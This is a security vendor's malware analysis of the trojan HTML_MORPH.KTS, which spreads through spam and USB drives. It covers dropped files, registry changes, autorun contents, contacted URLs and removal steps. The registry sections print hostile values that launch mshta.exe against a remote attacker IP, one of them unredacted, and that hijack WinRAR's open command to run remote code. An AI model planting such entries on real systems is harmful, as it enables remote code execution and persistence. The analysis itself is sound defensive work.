HTML_MORPH.KTS

 Analysis by: Cris Nowell Pantanilla

 PLATFORM:

Windows 2000, Windows XP, Windows Server 2003

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Propagates via flashdrives

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives via removable drives.

It drops an AUTORUN.INF file to automatically execute the copies it drops when a user accesses the drives of an affected system.

  TECHNICAL DETAILS

File Size:

16,172 bytes

File Type:

HTML, HTM

Memory Resident:

Yes

Initial Samples Received Date:

25 May 2012

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives via removable drives.

Installation

This Trojan drops the following files:

  • {Drive}\autorun.inf
  • {Drive}\Windows Live Messenger.lnk
  • %User Profile%\msn\d.tpl
  • %User Profile%\msn\d.reg
  • %User Profile%\msn\a.txt
  • %User Profile%\msn\mails.hta
  • %Documents and Settings%\All Users\Start Menu\Programs\Windows Live Messenger.lnk
  • %User Profile%\Start Menu\Windows Live Messenger.lnk
  • %User Profile%\Start Menu\Programs\Windows Live Messenger.lnk
  • %User Profile%\Start Menu\Programs\Startup\Windows Live Messenger.lnk
  • %User Profile%\Start Menu\Programs\Startup\Actualizaciones de Windows Live.lnk
  • %User Profile%\Start Menu\Programs\Startup\Detector de Spywares de Windows Live.lnk
  • %User Profile%\Desktop\Windows Live Messenger.lnk
  • %User Profile%\Recent\Windows Live Messenger.lnk

(Note: %User Profile% is the current user's profile folder, which is usually C:\Windows\Profiles\{user name} on Windows 98 and ME, C:\WINNT\Profiles\{user name} on Windows NT, and C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003.)

It creates the following folders:

  • %User Profile%\msn

(Note: %User Profile% is the current user's profile folder, which is usually C:\Windows\Profiles\{user name} on Windows 98 and ME, C:\WINNT\Profiles\{user name} on Windows NT, and C:\Documents and Settings\{user name} on Windows 2000, XP, and Server 2003.)

It terminates itself if it finds the following processes in the affected system's memory:

  • avgnt.exe
  • avguard.exe
  • avshadow.exe
  • chrome.exe
  • firefox.exe
  • GoogleUpdate.exe
  • msnmsgr.exe
  • GoogleCrashHandler.exe
  • m2010.exe

Other System Modifications

This Trojan adds the following registry entries as part of its installation routine:

HKEY_CLASSES_ROOT\Directory\shell\
DOSAqui
(Default) = "Abrir Carpeta"

HKEY_CLASSES_ROOT\Directory\shell\
DOSAqui\Command
(Default) = "mshta.exe http://187.157.146.149:102/m2012/msnmsgr.tpl"

HKEY_CLASSES_ROOT\Drive\shell\
DOSAqui
(Default) = "Abrir Unidad de Disco"

HKEY_CLASSES_ROOT\Drive\shell\
DOSAqui\Command
(Default) = "mshta.exe http://187.157.146.149:102/m2012/msnmsgr.tpl"

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Desktop\General
WallpaperSource = "%User Profile%\msn\M0rPheU$.jpg"

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main
Window Title = "::M0rPheU$:: v2.1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = "1"

It modifies the following registry key(s)/entry(ies) as part of its installation routine:

HKEY_CLASSES_ROOT\WinRAR\shell\
open\command
(Default) = ""%System%\mshta.exe" "http://187.157.146.149:102/m2012/nfiles/exec.php?t=1318576022077;p=WinRar;f=%1""

(Note: The default value data of the said registry entry is ""%Program Files%\WinRAR\WinRAR.exe" "%1"".)

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main
Start Page = "http://printbazaar.co.in/images/live.htm"

(Note: The default value data of the said registry entry is "{User Defined}".)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\Terminal Server
fDenyTSConnections = "0"

(Note: The default value data of the said registry entry is "1".)

Propagation

This Trojan drops an AUTORUN.INF file to automatically execute the copies it drops when a user accesses the drives of an affected system.

The said .INF file contains the following strings:

[autorun]
open="inf.exe"
icon="C:\WINDOWS\system32\SHELL32.dll,8"
action=Abrir carpeta para ver archivos
shell\open=Abrir carpeta para ver archivos
shell\open\command="inf.exe"
shell\open\default=1

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}r.es/includes/m0rpheus.php?1318576022077
  • http://www.{BLOCKED}sescorts.com/images/DoS.htm?img=http%3A//mercacel.com/sms/index.php
  • http://www.{BLOCKED}sescorts.com/images/DoS.htm?img=http%3A//{BLOCKED}el.com/2011/Connections/connMercacel.php
  • http://www. {BLOCKED}escorts.com/images/DoS.htm?url=http%3A//{BLOCKED}el.com/secure/index.php
  • http://{BLOCKED}b.es/images/msn.js?1318576022077
  • http://{BLOCKED}b.es/images/msn.jpg
  • http://{BLOCKED}b.es/images/iniciando.jpg

NOTES:

It searches for folders in all drives and replaces it with new shortcuts. These shortcuts executes the copy of the malware and opens the original replaced folder to trick the user.

It displays a fake MSN Messenger.

It checks if can connect to following banned IP:

  • 222.175.179.157
  • 222.232.101.73
  • 217.12.220.82
  • 184.172.221.201
  • 217.12.220.82
  • 184.172.221.201

  SOLUTION

Minimum Scan Engine:

9.200

FIRST VSAPI PATTERN FILE:

9.136.07

FIRST VSAPI PATTERN DATE:

25 May 2012

VSAPI OPR PATTERN File:

9.137.00

VSAPI OPR PATTERN Date:

26 May 2012

Step 1

For Windows XP and Windows Server 2003 users, before doing any scans, please make sure you disable System Restore to allow full scanning of your computer.

Step 2

Restart in Safe Mode

[ Learn More ]

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CLASSES_ROOT\Directory\shell\DOSAqui
    • (Default) = Abrir Carpeta
  • In HKEY_CLASSES_ROOT\Directory\shell\DOSAqui\Command
    • (Default) = mshta.exe http://{BLOCKED}.{BLOCKED}.146.149:102/m2012/msnmsgr.tpl
  • In HKEY_CLASSES_ROOT\Drive\shell\DOSAqui
    • (Default) = Abrir Unidad de Disco
  • In HKEY_CLASSES_ROOT\Drive\shell\DOSAqui\Command
    • (Default) = mshta.exe http://{BLOCKED}.{BLOCKED}.146.149:102/m2012/msnmsgr.tpl
  • In HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General
    • WallpaperSource = Ͽer ProfileϿmsn\M0rPheU$.jpg
  • In HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
    • Window Title = ::M0rPheU$:: v2.1
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableTaskMgr = 1

Step 4

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator’s help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_CLASSES_ROOT\WinRAR\shell\open\command
    • From: (Default) = ϿstemϿmshta.exe http://{BLOCKED}.{BLOCKED}.146.149:102/m2012/nfiles/exec.php?t=1318576022077;p=WinRar;f=?
      To: (Default) = Ͽogram FilesϿWinRAR\WinRAR.exe ?
  • In HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
    • From: Start Page = http://{BLOCKED}azaar.co.in/images/live.htm
      To: Start Page = {User Defined}
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
    • From: fDenyTSConnections = 0
      To: fDenyTSConnections = 1

Step 5

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result. %User Profile%\msn

Step 6

Search and delete this file

[ Learn More ]
There may be some component files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden files and folders in the search result. C:\autorun.inf
C:\Windows Live Messenger.lnk
%Documents and Settings%\All Users\Start Menu\Programs\Windows Live Messenger.lnk
%User Profile%\Start Menu\Windows Live Messenger.lnk
%User Profile%\Start Menu\Programs\Windows Live Messenger.lnk
%User Profile%\Start Menu\Programs\Startup\Windows Live Messenger.lnk
%User Profile%\Start Menu\Programs\Startup\Actualizaciones de Windows Live.lnk
%User Profile%\Start Menu\Programs\Startup\Detector de Spywares de Windows Live.lnk
%User Profile%\Desktop\Windows Live Messenger.lnk
%User Profile%\Recent\Windows Live Messenger.lnk

Step 7

Search and delete AUTORUN.INF files created by HTML_MORPH.KTS that contain these strings

[ Learn More ]
[autorun]
open="inf.exe"
icon="C:\WINDOWS\system32\SHELL32.dll,8"
action=Abrir carpeta para ver archivos
shell\open=Abrir carpeta para ver archivos
shell\open\command="inf.exe"
shell\open\default=1

Step 8

Restart in normal mode and scan your computer with your Trend Micro product for files detected as HTML_MORPH.KTS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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